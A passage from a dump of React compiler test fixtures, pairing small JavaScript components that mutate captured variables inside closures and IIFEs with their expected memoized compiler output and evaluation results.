    "content": "\n## Input\n\n```javascript\nimport {mutate} from 'shared-runtime';\n\nfunction Component({foo, bar}) {\n  let x = {foo};\n  let y = {bar};\n  const f0 = function () {\n    let a = [y];\n    let b = x;\n    a.x = b;\n  };\n  f0();\n  mutate(y);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{foo: 2, bar: 3}],\n  sequentialRenders: [\n    {foo: 2, bar: 3},\n    {foo: 2, bar: 3},\n    {foo: 2, bar: 4},\n    {foo: 3, bar: 4},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { mutate } from \"shared-runtime\";\n\nfunction Component(t0) {\n  const $ = _c(3);\n  const { foo, bar } = t0;\n  let x;\n  if ($[0] !== bar || $[1] !== foo) {\n    x = { foo };\n    const y = { bar };\n    const f0 = function () {\n      const a = [y];\n      const b = x;\n      a.x = b;\n    };\n\n    f0();\n    mutate(y);\n    $[0] = bar;\n    $[1] = foo;\n    $[2] = x;\n  } else {\n    x = $[2];\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ foo: 2, bar: 3 }],\n  sequentialRenders: [\n    { foo: 2, bar: 3 },\n    { foo: 2, bar: 3 },\n    { foo: 2, bar: 4 },\n    { foo: 3, bar: 4 },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"foo\":2}\n{\"foo\":2}\n{\"foo\":2}\n{\"foo\":3}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-fun-alias-captured-mutate-arr-2.js",
    "content": "import {mutate} from 'shared-runtime';\n\nfunction Component({foo, bar}) {\n  let x = {foo};\n  let y = {bar};\n  const f0 = function () {\n    let a = [y];\n    let b = x;\n    a.x = b;\n  };\n  f0();\n  mutate(y);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{foo: 2, bar: 3}],\n  sequentialRenders: [\n    {foo: 2, bar: 3},\n    {foo: 2, bar: 3},\n    {foo: 2, bar: 4},\n    {foo: 3, bar: 4},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-captured-mutate-arr-iife.expect.md",
    "content": "\n## Input\n\n```javascript\nconst {mutate} = require('shared-runtime');\n\nfunction component(foo, bar) {\n  let x = {foo};\n  let y = {bar};\n  (function () {\n    let a = [y];\n    let b = x;\n    a.x = b;\n  })();\n  mutate(y);\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: ['foo', 'bar'],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nconst { mutate } = require(\"shared-runtime\");\n\nfunction component(foo, bar) {\n  const $ = _c(3);\n  let y;\n  if ($[0] !== bar || $[1] !== foo) {\n    const x = { foo };\n    y = { bar };\n\n    const a = [y];\n    const b = x;\n    a.x = b;\n\n    mutate(y);\n    $[0] = bar;\n    $[1] = foo;\n    $[2] = y;\n  } else {\n    y = $[2];\n  }\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: [\"foo\", \"bar\"],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"bar\":\"bar\",\"wat0\":\"joe\"}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-captured-mutate-arr-iife.js",
    "content": "const {mutate} = require('shared-runtime');\n\nfunction component(foo, bar) {\n  let x = {foo};\n  let y = {bar};\n  (function () {\n    let a = [y];\n    let b = x;\n    a.x = b;\n  })();\n  mutate(y);\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: ['foo', 'bar'],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-captured-mutate-arr.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {mutate} from 'shared-runtime';\nfunction Component({foo, bar}) {\n  let x = {foo};\n  let y = {bar};\n  const f0 = function () {\n    let a = [y];\n    let b = x;\n    a.x = b;\n  };\n  f0();\n  mutate(y);\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{foo: 2, bar: 3}],\n  sequentialRenders: [\n    {foo: 2, bar: 3},\n    {foo: 2, bar: 3},\n    {foo: 2, bar: 4},\n    {foo: 3, bar: 4},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { mutate } from \"shared-runtime\";\nfunction Component(t0) {\n  const $ = _c(3);\n  const { foo, bar } = t0;\n  let y;\n  if ($[0] !== bar || $[1] !== foo) {\n    const x = { foo };\n    y = { bar };\n    const f0 = function () {\n      const a = [y];\n      const b = x;\n      a.x = b;\n    };\n\n    f0();\n    mutate(y);\n    $[0] = bar;\n    $[1] = foo;\n    $[2] = y;\n  } else {\n    y = $[2];\n  }\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ foo: 2, bar: 3 }],\n  sequentialRenders: [\n    { foo: 2, bar: 3 },\n    { foo: 2, bar: 3 },\n    { foo: 2, bar: 4 },\n    { foo: 3, bar: 4 },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"bar\":3,\"wat0\":\"joe\"}\n{\"bar\":3,\"wat0\":\"joe\"}\n{\"bar\":4,\"wat0\":\"joe\"}\n{\"bar\":4,\"wat0\":\"joe\"}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-captured-mutate-arr.js",
    "content": "import {mutate} from 'shared-runtime';\nfunction Component({foo, bar}) {\n  let x = {foo};\n  let y = {bar};\n  const f0 = function () {\n    let a = [y];\n    let b = x;\n    a.x = b;\n  };\n  f0();\n  mutate(y);\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{foo: 2, bar: 3}],\n  sequentialRenders: [\n    {foo: 2, bar: 3},\n    {foo: 2, bar: 3},\n    {foo: 2, bar: 4},\n    {foo: 3, bar: 4},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-captured-mutate-iife.expect.md",
    "content": "\n## Input\n\n```javascript\nconst {mutate} = require('shared-runtime');\n\nfunction component(foo, bar) {\n  let x = {foo};\n  let y = {bar};\n  (function () {\n    let a = {y};\n    let b = x;\n    a.x = b;\n  })();\n  mutate(y);\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: ['foo', 'bar'],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nconst { mutate } = require(\"shared-runtime\");\n\nfunction component(foo, bar) {\n  const $ = _c(3);\n  let y;\n  if ($[0] !== bar || $[1] !== foo) {\n    const x = { foo };\n    y = { bar };\n\n    const a = { y };\n    const b = x;\n    a.x = b;\n\n    mutate(y);\n    $[0] = bar;\n    $[1] = foo;\n    $[2] = y;\n  } else {\n    y = $[2];\n  }\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: [\"foo\", \"bar\"],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"bar\":\"bar\",\"wat0\":\"joe\"}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-captured-mutate-iife.js",
    "content": "const {mutate} = require('shared-runtime');\n\nfunction component(foo, bar) {\n  let x = {foo};\n  let y = {bar};\n  (function () {\n    let a = {y};\n    let b = x;\n    a.x = b;\n  })();\n  mutate(y);\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: ['foo', 'bar'],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-captured-mutate.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {mutate} from 'shared-runtime';\n\nfunction Component({foo, bar}) {\n  let x = {foo};\n  let y = {bar};\n  const f0 = function () {\n    let a = [y];\n    let b = x;\n    // this writes y.x = x\n    a[0].x = b;\n  };\n  f0();\n  mutate(y.x);\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{foo: 3, bar: 4}],\n  sequentialRenders: [\n    {foo: 3, bar: 4},\n    {foo: 3, bar: 5},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { mutate } from \"shared-runtime\";\n\nfunction Component(t0) {\n  const $ = _c(3);\n  const { foo, bar } = t0;\n  let y;\n  if ($[0] !== bar || $[1] !== foo) {\n    const x = { foo };\n    y = { bar };\n    const f0 = function () {\n      const a = [y];\n      const b = x;\n\n      a[0].x = b;\n    };\n\n    f0();\n    mutate(y.x);\n    $[0] = bar;\n    $[1] = foo;\n    $[2] = y;\n  } else {\n    y = $[2];\n  }\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ foo: 3, bar: 4 }],\n  sequentialRenders: [\n    { foo: 3, bar: 4 },\n    { foo: 3, bar: 5 },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"bar\":4,\"x\":{\"foo\":3,\"wat0\":\"joe\"}}\n{\"bar\":5,\"x\":{\"foo\":3,\"wat0\":\"joe\"}}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-captured-mutate.js",
    "content": "import {mutate} from 'shared-runtime';\n\nfunction Component({foo, bar}) {\n  let x = {foo};\n  let y = {bar};\n  const f0 = function () {\n    let a = [y];\n    let b = x;\n    // this writes y.x = x\n    a[0].x = b;\n  };\n  f0();\n  mutate(y.x);\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{foo: 3, bar: 4}],\n  sequentialRenders: [\n    {foo: 3, bar: 4},\n    {foo: 3, bar: 5},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-computed-mutate-iife.expect.md",
    "content": "\n## Input\n\n```javascript\nconst {mutate} = require('shared-runtime');\n\nfunction component(a) {\n  let x = {a};\n  let y = {};\n  (function () {\n    y['x'] = x;\n  })();\n  mutate(y);\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: ['foo'],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nconst { mutate } = require(\"shared-runtime\");\n\nfunction component(a) {\n  const $ = _c(2);\n  let y;\n  if ($[0] !== a) {\n    const x = { a };\n    y = {};\n\n    y.x = x;\n\n    mutate(y);\n    $[0] = a;\n    $[1] = y;\n  } else {\n    y = $[1];\n  }\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: [\"foo\"],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"x\":{\"a\":\"foo\"},\"wat0\":\"joe\"}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-computed-mutate-iife.js",
    "content": "const {mutate} = require('shared-runtime');\n\nfunction component(a) {\n  let x = {a};\n  let y = {};\n  (function () {\n    y['x'] = x;\n  })();\n  mutate(y);\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: ['foo'],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-computed-mutate.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {mutate} from 'shared-runtime';\nfunction Component({a}) {\n  let x = {a};\n  let y = {};\n  const f0 = function () {\n    y['x'] = x;\n  };\n  f0();\n  mutate(y);\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 2}],\n  sequentialRenders: [{a: 2}, {a: 2}, {a: 3}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { mutate } from \"shared-runtime\";\nfunction Component(t0) {\n  const $ = _c(2);\n  const { a } = t0;\n  let y;\n  if ($[0] !== a) {\n    const x = { a };\n    y = {};\n    const f0 = function () {\n      y.x = x;\n    };\n\n    f0();\n    mutate(y);\n    $[0] = a;\n    $[1] = y;\n  } else {\n    y = $[1];\n  }\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ a: 2 }],\n  sequentialRenders: [{ a: 2 }, { a: 2 }, { a: 3 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"x\":{\"a\":2},\"wat0\":\"joe\"}\n{\"x\":{\"a\":2},\"wat0\":\"joe\"}\n{\"x\":{\"a\":3},\"wat0\":\"joe\"}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-computed-mutate.js",
    "content": "import {mutate} from 'shared-runtime';\nfunction Component({a}) {\n  let x = {a};\n  let y = {};\n  const f0 = function () {\n    y['x'] = x;\n  };\n  f0();\n  mutate(y);\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 2}],\n  sequentialRenders: [{a: 2}, {a: 2}, {a: 3}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-mutate-iife.expect.md",
    "content": "\n## Input\n\n```javascript\nconst {mutate} = require('shared-runtime');\n\nfunction component(a) {\n  let x = {a};\n  let y = {};\n  (function () {\n    y.x = x;\n  })();\n  mutate(y);\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: ['foo'],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nconst { mutate } = require(\"shared-runtime\");\n\nfunction component(a) {\n  const $ = _c(2);\n  let y;\n  if ($[0] !== a) {\n    const x = { a };\n    y = {};\n\n    y.x = x;\n\n    mutate(y);\n    $[0] = a;\n    $[1] = y;\n  } else {\n    y = $[1];\n  }\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: [\"foo\"],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"x\":{\"a\":\"foo\"},\"wat0\":\"joe\"}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-mutate-iife.js",
    "content": "const {mutate} = require('shared-runtime');\n\nfunction component(a) {\n  let x = {a};\n  let y = {};\n  (function () {\n    y.x = x;\n  })();\n  mutate(y);\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: ['foo'],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-mutate.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {mutate} from 'shared-runtime';\nfunction Component({a}) {\n  let x = {a};\n  let y = {};\n  const f0 = function () {\n    y.x = x;\n  };\n  f0();\n  mutate(y);\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 2}],\n  sequentialRenders: [{a: 2}, {a: 2}, {a: 3}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { mutate } from \"shared-runtime\";\nfunction Component(t0) {\n  const $ = _c(2);\n  const { a } = t0;\n  let y;\n  if ($[0] !== a) {\n    const x = { a };\n    y = {};\n    const f0 = function () {\n      y.x = x;\n    };\n\n    f0();\n    mutate(y);\n    $[0] = a;\n    $[1] = y;\n  } else {\n    y = $[1];\n  }\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ a: 2 }],\n  sequentialRenders: [{ a: 2 }, { a: 2 }, { a: 3 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"x\":{\"a\":2},\"wat0\":\"joe\"}\n{\"x\":{\"a\":2},\"wat0\":\"joe\"}\n{\"x\":{\"a\":3},\"wat0\":\"joe\"}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-mutate.js",
    "content": "import {mutate} from 'shared-runtime';\nfunction Component({a}) {\n  let x = {a};\n  let y = {};\n  const f0 = function () {\n    y.x = x;\n  };\n  f0();\n  mutate(y);\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 2}],\n  sequentialRenders: [{a: 2}, {a: 2}, {a: 3}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-receiver-computed-mutate-iife.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {mutate} from 'shared-runtime';\n\nfunction component(a) {\n  let x = {a};\n  let y = {};\n  (function () {\n    let a = y;\n    a['x'] = x;\n  })();\n  mutate(y);\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: ['foo'],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { mutate } from \"shared-runtime\";\n\nfunction component(a) {\n  const $ = _c(2);\n  let y;\n  if ($[0] !== a) {\n    const x = { a };\n    y = {};\n\n    const a_0 = y;\n    a_0.x = x;\n\n    mutate(y);\n    $[0] = a;\n    $[1] = y;\n  } else {\n    y = $[1];\n  }\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: [\"foo\"],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"x\":{\"a\":\"foo\"},\"wat0\":\"joe\"}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-receiver-computed-mutate-iife.js",
    "content": "import {mutate} from 'shared-runtime';\n\nfunction component(a) {\n  let x = {a};\n  let y = {};\n  (function () {\n    let a = y;\n    a['x'] = x;\n  })();\n  mutate(y);\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: ['foo'],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-receiver-computed-mutate.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {mutate} from 'shared-runtime';\n\nfunction Component({a}) {\n  let x = {a};\n  let y = {};\n  const f0 = function () {\n    let a = y;\n    a['x'] = x;\n  };\n  f0();\n  mutate(y);\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 2}],\n  sequentialRenders: [{a: 2}, {a: 2}, {a: 3}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { mutate } from \"shared-runtime\";\n\nfunction Component(t0) {\n  const $ = _c(2);\n  const { a } = t0;\n  let y;\n  if ($[0] !== a) {\n    const x = { a };\n    y = {};\n    const f0 = function () {\n      const a_0 = y;\n      a_0.x = x;\n    };\n\n    f0();\n    mutate(y);\n    $[0] = a;\n    $[1] = y;\n  } else {\n    y = $[1];\n  }\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ a: 2 }],\n  sequentialRenders: [{ a: 2 }, { a: 2 }, { a: 3 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"x\":{\"a\":2},\"wat0\":\"joe\"}\n{\"x\":{\"a\":2},\"wat0\":\"joe\"}\n{\"x\":{\"a\":3},\"wat0\":\"joe\"}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-receiver-computed-mutate.js",
    "content": "import {mutate} from 'shared-runtime';\n\nfunction Component({a}) {\n  let x = {a};\n  let y = {};\n  const f0 = function () {\n    let a = y;\n    a['x'] = x;\n  };\n  f0();\n  mutate(y);\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 2}],\n  sequentialRenders: [{a: 2}, {a: 2}, {a: 3}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-receiver-mutate-iife.expect.md",
    "content": "\n## Input\n\n```javascript\nconst {mutate} = require('shared-runtime');\n\nfunction component(a) {\n  let x = {a};\n  let y = {};\n  (function () {\n    let a = y;\n    a.x = x;\n  })();\n  mutate(y);\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: ['foo'],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nconst { mutate } = require(\"shared-runtime\");\n\nfunction component(a) {\n  const $ = _c(2);\n  let y;\n  if ($[0] !== a) {\n    const x = { a };\n    y = {};\n\n    const a_0 = y;\n    a_0.x = x;\n\n    mutate(y);\n    $[0] = a;\n    $[1] = y;\n  } else {\n    y = $[1];\n  }\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: [\"foo\"],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"x\":{\"a\":\"foo\"},\"wat0\":\"joe\"}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-receiver-mutate-iife.js",
    "content": "const {mutate} = require('shared-runtime');\n\nfunction component(a) {\n  let x = {a};\n  let y = {};\n  (function () {\n    let a = y;\n    a.x = x;\n  })();\n  mutate(y);\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: ['foo'],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-receiver-mutate.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {mutate} from 'shared-runtime';\n\nfunction Component({a}) {\n  let x = {a};\n  let y = {};\n  const f0 = function () {\n    let a = y;\n    a.x = x;\n  };\n  f0();\n  mutate(y);\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 2}],\n  sequentialRenders: [{a: 2}, {a: 2}, {a: 3}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { mutate } from \"shared-runtime\";\n\nfunction Component(t0) {\n  const $ = _c(2);\n  const { a } = t0;\n  let y;\n  if ($[0] !== a) {\n    const x = { a };\n    y = {};\n    const f0 = function () {\n      const a_0 = y;\n      a_0.x = x;\n    };\n\n    f0();\n    mutate(y);\n    $[0] = a;\n    $[1] = y;\n  } else {\n    y = $[1];\n  }\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ a: 2 }],\n  sequentialRenders: [{ a: 2 }, { a: 2 }, { a: 3 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"x\":{\"a\":2},\"wat0\":\"joe\"}\n{\"x\":{\"a\":2},\"wat0\":\"joe\"}\n{\"x\":{\"a\":3},\"wat0\":\"joe\"}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-alias-receiver-mutate.js",
    "content": "import {mutate} from 'shared-runtime';\n\nfunction Component({a}) {\n  let x = {a};\n  let y = {};\n  const f0 = function () {\n    let a = y;\n    a.x = x;\n  };\n  f0();\n  mutate(y);\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 2}],\n  sequentialRenders: [{a: 2}, {a: 2}, {a: 3}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-mutate-2.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction component(a, b) {\n  let y = {b};\n  let z = {a};\n  let x = function () {\n    z.a = 2;\n    y.b;\n  };\n  x();\n  return z;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: [{a: 'val1', b: 'val2'}],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction component(a, b) {\n  const $ = _c(2);\n  let z;\n  if ($[0] !== a) {\n    z = { a };\n    const x = function () {\n      z.a = 2;\n    };\n\n    x();\n    $[0] = a;\n    $[1] = z;\n  } else {\n    z = $[1];\n  }\n  return z;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: [{ a: \"val1\", b: \"val2\" }],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"a\":2}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-mutate-2.js",
    "content": "function component(a, b) {\n  let y = {b};\n  let z = {a};\n  let x = function () {\n    z.a = 2;\n    y.b;\n  };\n  x();\n  return z;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: [{a: 'val1', b: 'val2'}],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-mutate-3.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction component(a, b) {\n  let y = {b};\n  let z = {a};\n  let x = function () {\n    z.a = 2;\n    y.b;\n  };\n  return z;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction component(a, b) {\n  const $ = _c(2);\n  let t0;\n  if ($[0] !== a) {\n    t0 = { a };\n    $[0] = a;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const z = t0;\n\n  return z;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-mutate-3.js",
    "content": "function component(a, b) {\n  let y = {b};\n  let z = {a};\n  let x = function () {\n    z.a = 2;\n    y.b;\n  };\n  return z;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-mutate-nested.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction component(a) {\n  let y = {b: {a}};\n  let x = function () {\n    y.b.a = 2;\n  };\n  x();\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction component(a) {\n  const $ = _c(2);\n  let y;\n  if ($[0] !== a) {\n    y = { b: { a } };\n    const x = function () {\n      y.b.a = 2;\n    };\n\n    x();\n    $[0] = a;\n    $[1] = y;\n  } else {\n    y = $[1];\n  }\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-mutate-nested.js",
    "content": "function component(a) {\n  let y = {b: {a}};\n  let x = function () {\n    y.b.a = 2;\n  };\n  x();\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/capturing-func-mutate.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {mutate} from 'shared-runtime';\n\nfunction Component({a, b}) {\n  let z = {a};\n  let y = {b: {b}};\n  let x = function () {\n    z.a = 2;\n    mutate(y.b);\n  };\n  x();\n  return [y, z];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 2, b: 3}],\n  sequentialRenders: [\n    {a: 2, b: 3},\n    {a: 2, b: 3},\n    {a: 4, b: 3},\n    {a: 4, b: 5},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { mutate } from \"shared-runtime\";\n\nfunction Component(t0) {\n  const $ = _c(3);\n  const { a, b } = t0;\n  let t1;\n  if ($[0] !== a || $[1] !== b) {\n    const z = { a };\n    const y = { b: { b } };\n    const x = function () {\n      z.a = 2;\n      mutate(y.b);\n    };\n    x();\n    t1 = [y, z];\n    $[0] = a;\n    $[1] = b;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ a: 2, b: 3 }],\n  sequentialRenders: [\n    { a: 2, b: 3 },\n    { a: 2, b: 3 },\n    { a: 4, b: 3 },\n    { a: 4, b: 5 },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) [{\"b\":{\"b\":3,\"wat0\":\"joe\"}},{\"a\":2}]\n[{\"b\":{\"b\":3,\"wat0\":\"joe\"}},{\"a\":2}]\n[{\"b\":{\"b\":3,\"wat0\":\"joe\"}},{\"a\":2}]\n[{\"b\":{\"b\":5,\"wat0\":\"joe\"}},{\"a\":2}]"
  },
  {
